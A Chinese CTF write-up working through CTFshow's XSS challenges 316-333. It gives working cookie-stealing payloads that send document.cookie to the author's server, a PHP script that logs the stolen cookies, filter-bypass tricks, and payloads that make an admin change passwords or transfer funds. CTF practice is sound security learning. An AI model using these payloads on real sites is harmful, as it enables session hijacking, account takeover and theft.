CTFSHOW XSS web入门316-333

XSS

web316

题目有个允许我们自定义输入的文本框 那我们用简单的方式测试一下 是否存在XSS漏洞

使用如下命令测试 然后生成链接

<script>alert(233)</script>

发现给了我们反馈

不过我们还是不确定 即使存在payload 要怎么样拿到flag 去百度搜搜XSS实战中最可能做什么操作

我们在这篇博客找到如下的一段话XSS博客链接

那很有可能 我们需要获取到管理员的cookie了。

为了拿到这个cookie 我们需要一个有公网IP的机器去接收得到的cookie 这里我们选择用vps

整vps 还有配置对外映射 这一步是这道题最难的部分 

贴一个vps链接 嘎嘎便宜 大概选择2核2g的就可以了 一个月几块就好了 vps的链接vps链接

然后就是对外端口映射了 一般的便宜的vps大概有10个免费的可选择的端口 得确定好这十个端口的范围 如果是自选的 请自己在vps网站添加好映射 手动添加方法参考花生壳的文章 博主这里是windows系统(因为还挂了个mc服务器的自动更新系统 还有点空间) 

端口映射方法

还有就是配置对外的网站服务了 这里我们为了简单 采用phpStudy 链接在这phpStudy下载链接

使用教程在这phpStudy V8 使用手册 - phpStudy官网

然后配置好Apache或者Nginx之后 在我们选择的路径下创建一个getCookieTest.php 然后再看下下面把语句粘贴进去保存  师傅们一定要有耐心!!!

XSS语句如下:

<script>document.location.href="http://xx:端口号/getCookieTest.php?cookie="+document.cookie</script>

我这里创建的getCookieTest的内容如下:

<?php
file_put_contents('cookie.txt', $_GET['cookie']."\n", FILE_APPEND);
?>

也创建一个cookie.txt 最后结果显示在这里面 师傅们完成一道题可用删一次内容 不然看起来很乱哈哈  最好把payload也复制一下到什么地方存储一下 不然每次都要重新填ip怪麻烦的

然后就拿到了 不过这里可能有时候会拿不到 多试几次就好了 或者重新生成环境

web317

题目说加了一点过滤 那我们先试试原来的方法 看看过滤了什么情况

尝试了一下script的方式拿不到flag了

测试了一下 以下两种方式能执行 这里我们选用第一种

<body οnlοad="alert('XSS')">  
<svg οnlοad="alert('XSS')">

语句如下

<body onload="window.location.href='http://ip:端口/getCookieTest.php?cookie='+document.cookie"></body>

执行之后稍等一会 flag就来了

web318

不知道过滤了什么 上一题的payload也成功了

web319

不知道过滤了什么 上一题的payload也成功了

web320

这里之前的payload行不通了 试试到底过滤了什么

body正常

onload正常

然后测试了一下 发现一包含空格就刷新页面了

那就想办法用其他方式表达空格试试看

我问deepseek找到好几种方式 两种是可用的 注意最后的>的后面不要有空格 不然也会被过滤(我被坑了哈哈

1.tab的方式代替空格 这里可能看上去是空格 但是是tab的

<body	onload="alert(1)">

2.用 / 或注释 /**/ 代替空格

<body/onload="alert(1)">  
<body/**/onload="alert(1)">  

最后payload

<body/**/onload="window.location.href='http://ip:端口/getCookieTest.php?cookie='+document.cookie"></body>

web321

上一题的payload也可以

web322

上上一题的payload也可以

web323

上上上一题的payload也可以

web324

上上上上一题的payload也可以

web325

上上上上上一题的payload也可以

web326

上上上上上上一题的payload也可以

web327

这道题有点不一样了

收件人和寄件人都填admin了 其他随便填

然后信的内容依然用之前的payload 就可以拿到flag了

web328

这道题是真不一样了哈哈

试了一下用户名admin 密码用之前的payload 或者用户名密码都用payload 或者用户名payload 密码大于6位 都不行 可能操作点不在这里 再看看有没有其他地方可用操作

点了一下 发现还有个注册页和用户管理页 但是用户管理员需要管理员才能查看

还是看看注册页吧 尝试注册一下admin  但是失败了

然后试试看塞payload 还是失败了 上面的payload估计不行了 换个payload试试看 不可能没注入点啊hh 

试了一下script标签的成功了

注册的时候在账户名和密码的地方 都可以包含以下的payload 等管理员访问用户管理的时候 就可以获得管理员的cookie了

<script>location.href="http://ip:端口号/getCookieTest.php?cookie="+document.cookie</script>

然后看看cookie.txt 发现似乎是管理员身份的cookie

复制最新生成的cookie 

在用户管理界面用最新的管理员cookie 我这里是抓包了这个页面

然后修改发包 如下

响应包里就是flag了

web329

这道题乍一看 和上道题一样 应该只是过滤或限制了什么 先试试上一题的payload好了

试了一下cookie一样能拿到 但是拿到这个cookie重发查询不到数据 可能拿到了cookie 但是管理员用一次就失效了 反正就是拿到的cookie失效了

试了一下 实在没办法了 看了一下ctfshow b站官方的视频 用了一下payload 在管理员访问的时候 就拿flag

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
	if(value.innerText.indexOf('ctfshow{')>-1)
	{location.href='http://ip:端口号/getCookieTest.php?cookie='+value.innerText}
});
</script>

然后查看cookie.txt 就可以看到flag了

web330

还是上一题的网站模板 但是发现多了个修改密码的地方 估计是在这里修改了 大概率是用XSS然后等管理员访问 修改掉管理员密码 复制修改密码的url 修改一下 构成我们的payload

<script>location.href="http://127.0.0.1/api/change.php?p=1234567"</script>

然后过几十秒 然后去尝试用账号admin 密码1234567 去登陆 登陆之后就可以看到flag了 但是他因为我们的xss会跳转到更改到修改密码的页面 所以尽快复制 不行的话 就返回 再去尝试快速复制哈哈 登陆成功之后 用户名旁边就是flag了

web331

跟上道题的模板一样 也尝试修改密码 发现不是get传参了 抓包了一下 发包是post传参 如下

那我们的payload也要用post请求了 抄了mumuzi师傅的wp 方式如下:

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>

第一次尝试没成功 不知道是不是我搞坏了环境 摧毁实例 重新生成试试看 第二次就成功了

web332

这道题较上面相比 不一样的就是多了转账汇款 个人账户 还有就是购买flag了 大概率是想办法给自己9999元 然后买flag

 

这个地方可以转账汇款 大概应该是写一个XSS然后让admin每次访问就给我们转钱 那注册一下账号 收款人填自己试试看

一开始注册了一个正常账号 又注册了一个包含xss的账号

内容如下 其中u里面是用户名 a是金额

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'swagree',a:'10000'}});</script>

转账成功 然后就有钱了 然后购买flag就好了

web333

上一道的payload也生效了 不知道为什么

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值